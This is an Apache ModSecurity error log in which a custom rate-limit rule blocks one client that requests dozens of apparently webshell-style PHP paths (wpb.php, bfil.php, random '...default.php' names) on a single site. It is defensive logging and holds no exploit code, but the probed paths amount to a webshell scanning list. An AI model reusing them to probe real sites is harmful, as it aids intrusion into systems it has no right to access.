[Sun Apr 12 01:33:22.933749 2026] [:error] [pid 36909:tid 36917] [client 4.232.184.116:11075] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "adqF4kGk5GhxTCzHUOoW5QAAAQY"]
[Sun Apr 12 01:33:24.190567 2026] [:error] [pid 36909:tid 36924] [client 4.232.184.116:11146] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "adqF5EGk5GhxTCzHUOoW6QAAAQ0"]
[Sun Apr 12 01:33:25.734118 2026] [:error] [pid 34152:tid 34170] [client 4.232.184.116:11107] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "adqF5YFtE4RhFslT1Dq9pwAAABA"]
[Sun Apr 12 01:33:27.497071 2026] [:error] [pid 44701:tid 44774] [client 4.232.184.116:11101] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "adqF5xGZAP4MrlxEPFc5IAAAAEI"]
[Sun Apr 12 01:33:28.807224 2026] [:error] [pid 45064:tid 45101] [client 4.232.184.116:11204] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "adqF6JcHBvLyJ6EUhUr9tQAAAUg"]
[Sun Apr 12 01:33:29.925345 2026] [:error] [pid 44698:tid 44716] [client 4.232.184.116:11257] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "adqF6RgoH9UWd-U3D55gXwAAAI0"]
[Sun Apr 12 01:33:30.674280 2026] [:error] [pid 44700:tid 44745] [client 4.232.184.116:11119] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adqF6mryPgh_uW4QPCllPAAAAME"]
[Sun Apr 12 01:33:31.199093 2026] [:error] [pid 36909:tid 36934] [client 4.232.184.116:11182] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adqF60Gk5GhxTCzHUOoW-wAAARc"]
[Sun Apr 12 01:33:31.816332 2026] [:error] [pid 44701:tid 44773] [client 4.232.184.116:11178] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adqF6xGZAP4MrlxEPFc5JwAAAEE"]
[Sun Apr 12 01:33:32.725890 2026] [:error] [pid 36938:tid 36956] [client 4.232.184.116:11126] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adqF7ISWpa_VL1JPU6zcWAAAAZA"]
[Sun Apr 12 01:33:33.345728 2026] [:error] [pid 36938:tid 36955] [client 4.232.184.116:11229] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "adqF7YSWpa_VL1JPU6zcXAAAAY8"]
[Sun Apr 12 01:33:33.829159 2026] [:error] [pid 36938:tid 36951] [client 4.232.184.116:11156] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "adqF7YSWpa_VL1JPU6zcXgAAAYs"]
[Sun Apr 12 01:33:34.415025 2026] [:error] [pid 36938:tid 36963] [client 4.232.184.116:11144] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "adqF7oSWpa_VL1JPU6zcXwAAAZc"]
[Sun Apr 12 01:33:34.969891 2026] [:error] [pid 44700:tid 44753] [client 4.232.184.116:11179] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "adqF7mryPgh_uW4QPCllQgAAAMk"]
[Sun Apr 12 01:33:35.601129 2026] [:error] [pid 44700:tid 44766] [client 4.232.184.116:11191] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adqF72ryPgh_uW4QPCllRAAAANY"]
[Sun Apr 12 01:33:36.137448 2026] [:error] [pid 44698:tid 44725] [client 4.232.184.116:11167] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adqF8BgoH9UWd-U3D55gZQAAAJY"]
[Sun Apr 12 01:33:36.682701 2026] [:error] [pid 45064:tid 45102] [client 4.232.184.116:11154] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adqF8JcHBvLyJ6EUhUr9wAAAAUk"]
[Sun Apr 12 01:33:37.592252 2026] [:error] [pid 34152:tid 34165] [client 4.232.184.116:11236] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adqF8YFtE4RhFslT1Dq9sAAAAAs"]
[Sun Apr 12 01:33:38.257010 2026] [:error] [pid 34152:tid 34159] [client 4.232.184.116:11195] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "adqF8oFtE4RhFslT1Dq9swAAAAU"]
[Sun Apr 12 01:33:39.101566 2026] [:error] [pid 44700:tid 44760] [client 4.232.184.116:11161] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "adqF82ryPgh_uW4QPCllUAAAANA"]
[Sun Apr 12 01:33:39.868102 2026] [:error] [pid 44701:tid 44773] [client 4.232.184.116:11255] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "adqF8xGZAP4MrlxEPFc5OAAAAEE"]
[Sun Apr 12 01:33:40.481145 2026] [:error] [pid 45064:tid 45109] [client 4.232.184.116:11159] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "adqF9JcHBvLyJ6EUhUr9xQAAAVA"]
[Sun Apr 12 01:33:41.133905 2026] [:error] [pid 44698:tid 44720] [client 4.232.184.116:11207] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "adqF9RgoH9UWd-U3D55gbgAAAJE"]
[Sun Apr 12 01:33:41.942961 2026] [:error] [pid 44698:tid 44711] [client 4.232.184.116:11227] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "adqF9RgoH9UWd-U3D55gcQAAAIg"]
[Sun Apr 12 01:33:42.601271 2026] [:error] [pid 44698:tid 44725] [client 4.232.184.116:11246] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "adqF9hgoH9UWd-U3D55gdAAAAJY"]
[Sun Apr 12 01:33:43.098654 2026] [:error] [pid 45064:tid 45114] [client 4.232.184.116:11223] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "adqF95cHBvLyJ6EUhUr9xgAAAVU"]
[Sun Apr 12 01:33:43.718698 2026] [:error] [pid 44701:tid 44782] [client 4.232.184.116:11025] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adqF9xGZAP4MrlxEPFc5QwAAAEk"]
[Sun Apr 12 01:33:44.497666 2026] [:error] [pid 36938:tid 36940] [client 4.232.184.116:11012] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adqF-ISWpa_VL1JPU6zcawAAAYA"]
[Sun Apr 12 01:33:45.204509 2026] [:error] [pid 36938:tid 36959] [client 4.232.184.116:11096] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adqF-YSWpa_VL1JPU6zcbAAAAZM"]
[Sun Apr 12 01:33:45.832104 2026] [:error] [pid 44701:tid 44776] [client 4.232.184.116:11150] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adqF-RGZAP4MrlxEPFc5RwAAAEQ"]
[Sun Apr 12 01:33:46.444729 2026] [:error] [pid 36909:tid 36917] [client 4.232.184.116:11139] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "adqF-kGk5GhxTCzHUOoXJQAAAQY"]
[Sun Apr 12 01:33:47.151212 2026] [:error] [pid 44701:tid 44785] [client 4.232.184.116:11089] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "adqF-xGZAP4MrlxEPFc5TQAAAEs"]
[Sun Apr 12 01:33:47.637449 2026] [:error] [pid 44701:tid 44773] [client 4.232.184.116:11185] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "adqF-xGZAP4MrlxEPFc5UAAAAEE"]
[Sun Apr 12 01:33:48.207874 2026] [:error] [pid 44701:tid 44776] [client 4.232.184.116:11016] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "adqF_BGZAP4MrlxEPFc5VgAAAEQ"]
[Sun Apr 12 01:33:48.801118 2026] [:error] [pid 36938:tid 36941] [client 4.232.184.116:11155] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adqF_ISWpa_VL1JPU6zccAAAAYE"]
[Sun Apr 12 01:33:49.332549 2026] [:error] [pid 36938:tid 36954] [client 4.232.184.116:11197] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adqF_YSWpa_VL1JPU6zccQAAAY4"]
[Sun Apr 12 01:33:49.847855 2026] [:error] [pid 44700:tid 44756] [client 4.232.184.116:11162] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adqF_WryPgh_uW4QPCllWgAAAMw"]
[Sun Apr 12 01:33:50.335659 2026] [:error] [pid 44700:tid 44757] [client 4.232.184.116:11141] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adqF_mryPgh_uW4QPCllXQAAAM0"]
[Sun Apr 12 01:33:50.850517 2026] [:error] [pid 34152:tid 34165] [client 4.232.184.116:11086] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "adqF_oFtE4RhFslT1Dq9uwAAAAs"]
[Sun Apr 12 01:33:51.365697 2026] [:error] [pid 36938:tid 36947] [client 4.232.184.116:11214] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "adqF_4SWpa_VL1JPU6zccwAAAYc"]
[Sun Apr 12 01:33:51.838470 2026] [:error] [pid 36938:tid 36955] [client 4.232.184.116:11190] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "adqF_4SWpa_VL1JPU6zcdQAAAY8"]
[Sun Apr 12 01:33:52.311380 2026] [:error] [pid 36938:tid 36957] [client 4.232.184.116:11104] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "adqGAISWpa_VL1JPU6zceAAAAZE"]
[Sun Apr 12 01:33:52.991599 2026] [:error] [pid 36938:tid 36942] [client 4.232.184.116:11168] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "adqGAISWpa_VL1JPU6zcfAAAAYI"]
[Sun Apr 12 01:33:53.572917 2026] [:error] [pid 36938:tid 36958] [client 4.232.184.116:11171] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "adqGAYSWpa_VL1JPU6zcgAAAAZI"]
[Sun Apr 12 01:33:54.379724 2026] [:error] [pid 34152:tid 34166] [client 4.232.184.116:11263] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "adqGAoFtE4RhFslT1Dq9wgAAAAw"]
[Sun Apr 12 01:33:55.509153 2026] [:error] [pid 36909:tid 36927] [client 4.232.184.116:11098] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "adqGA0Gk5GhxTCzHUOoXNAAAARA"]
[Sun Apr 12 01:34:04.867358 2026] [:error] [pid 34152:tid 34160] [client 4.232.184.116:11186] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adqGDIFtE4RhFslT1Dq9ygAAAAY"]
[Sun Apr 12 01:34:07.052310 2026] [:error] [pid 34152:tid 34171] [client 4.232.184.116:11112] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adqGD4FtE4RhFslT1Dq9zAAAABE"]
[Sun Apr 12 01:34:09.053490 2026] [:error] [pid 34152:tid 34162] [client 4.232.184.116:11027] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adqGEYFtE4RhFslT1Dq90AAAAAg"]
[Sun Apr 12 01:34:10.248002 2026] [:error] [pid 44701:tid 44796] [client 4.232.184.116:11082] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adqGEhGZAP4MrlxEPFc5iQAAAFU"]
[Sun Apr 12 01:34:11.218124 2026] [:error] [pid 44701:tid 44779] [client 4.232.184.116:11106] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adqGExGZAP4MrlxEPFc5kAAAAEc"]
[Sun Apr 12 01:34:12.109188 2026] [:error] [pid 44701:tid 44786] [client 4.232.184.116:11026] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adqGFBGZAP4MrlxEPFc5lwAAAEw"]
[Sun Apr 12 01:34:12.825847 2026] [:error] [pid 36909:tid 36916] [client 4.232.184.116:11117] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adqGFEGk5GhxTCzHUOoXTgAAAQU"]
[Sun Apr 12 01:34:13.285888 2026] [:error] [pid 44698:tid 44707] [client 4.232.184.116:11074] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adqGFRgoH9UWd-U3D55gjAAAAIQ"]
[Sun Apr 12 01:34:13.881751 2026] [:error] [pid 36909:tid 36928] [client 4.232.184.116:11122] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "adqGFUGk5GhxTCzHUOoXUgAAARE"]
